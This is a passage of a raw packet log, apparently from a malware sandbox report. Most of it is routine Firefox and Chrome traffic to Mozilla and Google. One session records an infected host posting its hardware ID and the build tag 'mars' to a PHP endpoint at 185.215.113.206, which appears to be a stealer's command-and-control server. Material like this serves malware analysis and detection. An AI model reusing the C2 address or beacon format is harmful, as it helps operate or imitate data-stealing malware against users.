Nov 20, 2024 12:59:44.380883932 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50083	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:44.647213936 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	50084	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:44.884017944 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 12:59:45.338457108 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 13000 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 12:59:55.428769112 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	50085	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:46.045803070 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 12:59:46.726087093 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:59:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:59:46.866219044 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 31 35 44 35 39 32 41 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="hwid"1915D592ADF51660493485------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="build"mars------KEHDBAEGIIIEBGCAAFHI--
Nov 20, 2024 12:59:47.099999905 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:59:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	142.250.186.164	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:57:44 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 11:57:44 UTC	1367	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:44 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-7byvgiAmHOP5HComXxx5Ew' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 11:57:44 UTC	23	IN	Data Raw: 63 31 36 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 7a 61 63 20 74 61 79 Data Ascii: c16)]}'["",["zac tay
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 6c 6f 72 22 2c 22 6e 76 69 64 69 61 20 73 74 6f 63 6b 73 22 2c 22 6d 6f 74 6f 72 74 72 65 6e 64 20 72 6f 61 64 6b 69 6c 6c 20 65 6e 64 69 6e 67 22 2c 22 73 6f 75 74 68 65 72 6e 20 63 61 6c 69 66 6f 72 6e 69 61 20 64 6f 6f 6d 73 64 61 79 20 66 69 73 68 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 66 66 78 69 76 20 6d 6f 62 69 6c 65 22 2c 22 64 65 6c 74 61 20 73 68 61 6b 65 20 73 68 61 63 6b 20 62 75 72 67 65 72 73 22 2c 22 6d 6f 72 74 61 6c 20 6b 6f 6d 62 61 74 20 31 20 67 68 6f 73 74 66 61 63 65 20 66 61 74 61 6c 69 74 79 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 Data Ascii: lor","nvidia stocks","motortrend roadkill ending","southern california doomsday fish","weather forecast snow storm","ffxiv mobile","delta shake shack burgers","mortal kombat 1 ghostface fatality"],["","","","","","","",""],[],{"google:clientdata":{"bpc":f
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 5a 63 30 6c 50 59 55 35 61 54 79 74 33 4d 30 35 44 51 6b 67 79 63 6d 4e 76 4e 31 46 44 62 57 31 36 4b 30 78 31 63 44 6c 68 4e 30 78 6a 54 47 35 46 5a 57 52 70 54 57 39 56 64 7a 4a 4e 63 44 64 59 4e 48 6f 30 51 32 6c 4d 54 53 39 61 54 47 63 34 56 32 68 45 5a 6d 70 31 64 45 52 54 64 47 46 36 64 6e 46 49 56 56 56 56 4b 30 46 4b 61 6b 68 6d 64 55 46 43 53 6c 46 54 4e 48 5a 4b 55 6e 70 6e 59 32 6f 7a 63 56 4d 7a 4e 69 74 49 53 57 68 33 61 47 64 4a 4c 30 64 7a 61 6b 70 36 4e 45 4e 75 64 6a 6c 32 54 47 4e 30 54 48 4e 77 63 47 45 7a 53 47 31 56 52 6d 46 48 4d 47 70 4b 56 56 46 50 62 55 38 72 63 47 52 36 61 48 55 32 64 48 63 76 64 45 64 53 52 6c 63 78 52 30 78 74 61 6b 78 6e 53 55 6b 34 51 31 49 7a 51 53 74 4f 53 55 78 79 5a 45 46 33 65 6a 52 7a 5a 30 46 4b 52 32 Data Ascii: Zc0lPYU5aTyt3M05DQkgycmNvN1FDbW16K0x1cDlhN0xjTG5FZWRpTW9VdzJNcDdYNHo0Q2lMTS9aTGc4V2hEZmp1dERTdGF6dnFIVVVVK0FKakhmdUFCSlFTNHZKUnpnY2ozcVMzNitISWh3aGdJL0dzakp6NENudjl2TGN0THNwcGEzSG1VRmFHMGpKVVFPbU8rcGR6aHU2dHcvdEdSRlcxR0xtakxnSUk4Q1IzQStOSUxyZEF3ejRzZ0FKR2
2024-11-20 11:57:44 UTC	298	IN	Data Raw: 54 56 59 52 46 52 5a 61 6a 5a 57 64 55 70 56 61 6d 4e 78 56 54 52 79 63 47 31 7a 63 48 56 4c 4d 6c 5a 59 4e 48 68 59 5a 46 52 4e 56 6d 4a 68 4d 6a 4a 73 53 46 6c 4b 56 55 34 77 61 79 39 51 51 6b 67 32 63 57 77 34 57 54 4a 53 52 55 78 35 52 47 52 57 54 6c 6c 6d 64 6e 4e 4b 52 46 4a 55 65 6c 64 70 62 32 52 42 61 46 46 4f 55 6b 68 48 5a 6b 56 4d 61 6b 31 51 55 54 42 32 55 7a 6c 4a 65 57 78 72 52 48 46 73 55 48 5a 4d 55 44 64 45 4e 44 63 35 4d 56 4e 55 5a 44 4e 57 59 6b 59 32 53 45 56 76 53 30 55 35 54 6b 49 78 52 53 39 42 56 57 31 74 4d 30 59 32 4e 46 52 47 65 57 34 35 4d 58 46 33 52 58 42 48 4e 46 4e 72 5a 45 56 71 4c 33 5a 48 64 56 52 49 57 6e 4e 36 56 31 52 4d 63 58 5a 6a 4e 55 78 57 62 32 46 44 56 33 68 32 4d 46 4e 4c 4f 58 52 51 4f 45 46 7a 59 57 74 79 Data Ascii: TVYRFRZajZWdUpVamNxVTRycG1zcHVLMlZYNHhYZFRNVmJhMjJsSFlKVU4way9QQkg2cWw4WTJSRUx5RGRWTllmdnNKRFJUeldpb2RBaFFOUkhHZkVMak1QUTB2UzlJeWxrRHFsUHZMUDdENDc5MVNUZDNWYkY2SEVvS0U5TkIxRS9BVW1tM0Y2NFRGeW45MXF3RXBHNFNrZEVqL3ZHdVRIWnN6V1RMcXZjNUxWb2FDV3h2MFNLOXRQOEFzYWty
2024-11-20 11:57:44 UTC	88	IN	Data Raw: 35 32 0d 0a 6d 56 42 51 32 6f 77 52 6b 78 6e 4e 53 38 35 61 7a 30 36 43 6c 70 68 59 79 42 55 59 58 6c 73 62 33 4a 4b 42 79 4d 30 4d 6a 51 79 4e 44 4a 53 4d 32 64 7a 58 33 4e 7a 63 44 31 6c 53 6e 70 71 4e 48 52 55 55 44 46 55 5a 45 6c 54 61 6b 6c 7a 56 45 52 0d 0a Data Ascii: 52mVBQ2owRkxnNS85az06ClphYyBUYXlsb3JKByM0MjQyNDJSM2dzX3NzcD1lSnpqNHRUUDFUZElTaklzVER
2024-11-20 11:57:44 UTC	439	IN	Data Raw: 31 62 30 0d 0a 6b 5a 7a 6c 50 53 33 46 54 61 33 68 58 53 30 56 74 63 33 70 4e 61 33 5a 42 5a 30 4a 53 59 6d 64 6b 59 58 41 47 63 41 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 Data Ascii: 1b0kZzlPS3FTa3hXS0Vtc3pNa3ZBZ0JSYmdkYXAGcAc\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,1
2024-11-20 11:57:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	142.250.186.164	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:57:44 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 11:57:44 UTC	1018	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 11:57:44 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 11:57:44 UTC	372	IN	Data Raw: 32 32 61 35 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 22a5)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700319,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-20 11:57:44 UTC	165	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 0d 0a Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");
2024-11-20 11:57:44 UTC	362	IN	Data Raw: 31 36 33 0d 0a 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f Data Ascii: 163else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in 